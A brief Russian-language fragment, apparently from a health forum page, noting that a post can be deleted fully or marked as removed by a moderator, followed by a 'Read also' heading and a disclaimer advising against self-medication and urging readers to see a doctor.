    А есть две возможности удалить - либо полностью, либо с пометкой "удалено модератором"

    Читайте также:

    Пожалуйста, не занимайтесь самолечением!
    При симпотмах заболевания - обратитесь к врачу.